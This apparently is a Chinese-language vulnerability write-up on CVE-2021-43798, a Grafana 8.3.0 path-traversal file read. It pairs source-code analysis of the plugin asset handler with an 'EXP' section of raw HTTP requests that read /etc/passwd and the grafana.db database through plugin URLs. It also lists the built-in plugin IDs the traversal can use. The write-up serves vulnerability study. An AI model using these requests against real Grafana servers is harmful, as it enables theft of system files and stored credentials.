CVE-2021-43798 grafana 任意文件读取 分析
环境搭建
https://dl.grafana.com/enterprise/release/grafana-enterprise-8.3.0.linux-amd64.tar.gz tar zxvf grafana-enterprise-8.3.0.linux-amd64.tar.gz cd grafana-8.3.0/ ./bin/grafana-server Grafana server is running with elevated privileges. This is not recommended WARN[12-07|16:31:59] falling back to legacy setting of 'min_interval_seconds'; please use the configuration option in the `unified_alerting` section if Grafana 8 alerts are enabled. logger=settings INFO[12-07|16:31:59] Config loaded from logger=settings file=/tools/OneForAll-master/grafana-8.3.0/conf/defaults.ini INFO[12-07|16:31:59] Path Home logger=settings path=/tools/OneForAll-master/grafana-8.3.0 INFO[12-07|16:31:59] Path Data logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data INFO[12-07|16:31:59] Path Logs logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data/log INFO[12-07|16:31:59] Path Plugins logger=settings path=/tools/OneForAll-master/grafana-8.3.0/data/plugins INFO[12-07|16:31:59] Path Provisioning logger=settings path=/tools/OneForAll-master/grafana-8.3.0/conf/provisioning INFO[12-07|16:31:59] App mode production logger=settings INFO[12-07|16:31:59] Connecting to DB logger=sqlstore dbtype=sqlite3 INFO[12-07|16:31:59] Starting DB migrations logger=migrator INFO[12-07|16:31:59] migrations completed logger=migrator performed=0 skipped=438 duration=1.268445ms INFO[12-07|16:31:59] Validated license token logger=licensing appURL=http://localhost:3000/ source=disk status=NotFound INFO[12-07|16:31:59] Initialising plugins logger=plugin.manager INFO[12-07|16:31:59] Plugin registered logger=plugin.manager pluginId=input INFO[12-07|16:31:59] Live Push Gateway initialization logger=live.push_http WARN[12-07|16:31:59] Scheduling and sending of reports disabled, SMTP is not configured and enabled. Configure SMTP to enable. logger=report INFO[12-07|16:31:59] HTTP Server Listen logger=http.server address=[::]:3000 protocol=http subUrl= socket=
默认启动的是3000 端口
访问即可
EXP:
GET /public/plugins/prometheus/../../../../../../../../../etc/passwd HTTP/1.1 Host: 192.168.1.72:3000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
读取数据库文件
GET /public/plugins/mssql/../../../../../data/grafana.db HTTP/1.1 Host: 192.168.1.72:3000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
默认20个插件
alertmanager cloud-monitoring cloudwatch dashboard elasticsearch grafana grafana-azure-monitor-datasource graphite influxdb jaeger loki mixed mssql mysql opentsdb postgres prometheus tempo testdata zipkin
下载源码
https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0
找到api.go
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
pluginID := web.Params(c.Req)[":pluginId"]
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
c.JsonApiErr(404, "Plugin not found", nil)
return
}
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
if !plugin.IncludedInSignature(requestedFile) {
hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
"is not included in the plugin signature", "file", requestedFile)
}
// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
// use this with a prefix of the plugin's directory, which is set during plugin loading
// nolint:gosec
f, err := os.Open(pluginFilePath)
if err != nil {
if os.IsNotExist(err) {
c.JsonApiErr(404, "Plugin file not found", err)
return
}
c.JsonApiErr(500, "Could not open plugin file", err)
return
}
defer func() {
if err := f.Close(); err != nil {
hs.log.Error("Failed to close file", "err", err)
}
}()
fi, err := f.Stat()
if err != nil {
c.JsonApiErr(500, "Plugin file exists but could not open", err)
return
}
if hs.Cfg.Env == setting.Dev {
c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache")
} else {
c.Resp.Header().Set("Cache-Control", "public, max-age=3600")
}
http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)
}
hs.pluginStore.Plugin
func (m *PluginManager) Plugin(_ context.Context, pluginID string) (plugins.PluginDTO, bool) {
p, exists := m.plugin(pluginID)
if !exists {
return plugins.PluginDTO{}, false
}
return p.ToDTO(), true
}
如果存在返回了一个结构体变量
func (p *Plugin) ToDTO() PluginDTO {
c, _ := p.Client()
return PluginDTO{
JSONData: p.JSONData,
PluginDir: p.PluginDir,
Class: p.Class,
IncludedInAppID: p.IncludedInAppID,
DefaultNavURL: p.DefaultNavURL,
Pinned: p.Pinned,
Signature: p.Signature,
SignatureType: p.SignatureType,
SignatureOrg: p.SignatureOrg,
SignedFiles: p.SignedFiles,
SignatureError: p.SignatureError,
GrafanaComVersion: p.GrafanaComVersion,
GrafanaComHasUpdate: p.GrafanaComHasUpdate,
Module: p.Module,
BaseURL: p.BaseURL,
StreamHandler: c,
}
}
requestedFile := filepath.Clean(web.Params(c.Req)["*"]) pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
拼接了一下目录和文件名后面就是读取文件和返回了
如上通过url取的pluginID 进入到判断插件是否存在。然后读取到文件进行返回
怎么感觉像是读取插件的静态文件呢。
看了一下描述。就是这样子的
插件初始化
func (m *PluginManager) init() error {
// create external plugin's path if not exists
exists, err := fs.Exists(m.cfg.PluginsPath)
if err != nil {
return err
}
if !exists {
if err = os.MkdirAll(m.cfg.PluginsPath, os.ModePerm); err != nil {
m.log.Error("Failed to create external plugins directory", "dir", m.cfg.PluginsPath, "error", err)
} else {
m.log.Debug("External plugins directory created", "dir", m.cfg.PluginsPath)
}
}
m.log.Info("Initialising plugins")
// install Core plugins
err = m.loadPlugins(m.corePluginPaths()...)
if err != nil {
return err
}
// install Bundled plugins
err = m.loadPlugins(m.cfg.BundledPluginsPath)
if err != nil {
return err
}
// install External plugins
err = m.loadPlugins(m.cfg.PluginsPath)
if err != nil {
return err
}
// install plugins from cfg.PluginSettings
err = m.loadPlugins(m.pluginSettingPaths()...)
if err != nil {
return err
}
return nil
}
// corePluginPaths provides a list of the Core plugin paths which need to be scanned on init()
func (m *PluginManager) corePluginPaths() []string {
datasourcePaths := []string{
filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/alertmanager"),
filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/dashboard"),
filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/jaeger"),
filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/mixed"),
filepath.Join(m.cfg.StaticRootPath, "app/plugins/datasource/zipkin"),
}
panelsPath := filepath.Join(m.cfg.StaticRootPath, "app/plugins/panel")
return append(datasourcePaths, panelsPath)
}
┌─[root@www]─[/tools/OneForAll-master/grafana-8.3.0/public/app/plugins/panel] └──╼ #ll total 12 drwxr-xr-x 3 root root 181 Nov 30 23:43 alertGroups drwxr-xr-x 3 root root 254 Nov 30 23:43 alertlist drwxr-xr-x 3 root root 206 Nov 30 23:43 annolist drwxr-xr-x 4 root root 285 Nov 30 23:43 barchart drwxr-xr-x 3 root root 245 Nov 30 23:43 bargauge drwxr-xr-x 3 root root 215 Nov 30 23:43 candlestick drwxr-xr-x 4 root root 163 Nov 30 23:43 canvas drwxr-xr-x 3 root root 163 Nov 30 23:43 dashlist drwxr-xr-x 3 root root 206 Nov 30 23:43 debug drwxr-xr-x 4 root root 210 Nov 30 23:43 gauge drwxr-xr-x 9 root root 325 Nov 30 23:43 geomap drwxr-xr-x 4 root root 146 Nov 30 23:43 gettingstarted drwxr-xr-x 5 root root 4096 Nov 30 23:43 graph drwxr-xr-x 5 root root 328 Nov 30 23:43 heatmap drwxr-xr-x 3 root root 156 Nov 30 23:43 histogram drwxr-xr-x 3 root root 113 Nov 30 23:43 icon drwxr-xr-x 3 root root 120 Nov 30 23:43 live drwxr-xr-x 3 root root 139 Nov 30 23:43 logs drwxr-xr-x 3 root root 218 Nov 30 23:43 news drwxr-xr-x 4 root root 4096 Nov 30 23:43 nodeGraph drwxr-xr-x 3 root root 200 Nov 30 23:43 piechart drwxr-xr-x 4 root root 111 Nov 30 23:43 pluginlist drwxr-xr-x 3 root root 203 Nov 30 23:43 stat drwxr-xr-x 4 root root 321 Nov 30 23:43 state-timeline drwxr-xr-x 3 root root 140 Nov 30 23:43 status-history drwxr-xr-x 4 root root 239 Nov 30 23:43 table drwxr-xr-x 4 root root 248 Nov 30 23:43 table-old drwxr-xr-x 3 root root 235 Nov 30 23:43 text drwxr-xr-x 6 root root 4096 Nov 30 23:43 timeseries drwxr-xr-x 3 root root 89 Nov 30 23:43 welcome drwxr-xr-x 3 root root 280 Nov 30 23:43 xychart
如上这些目录也是可以用的





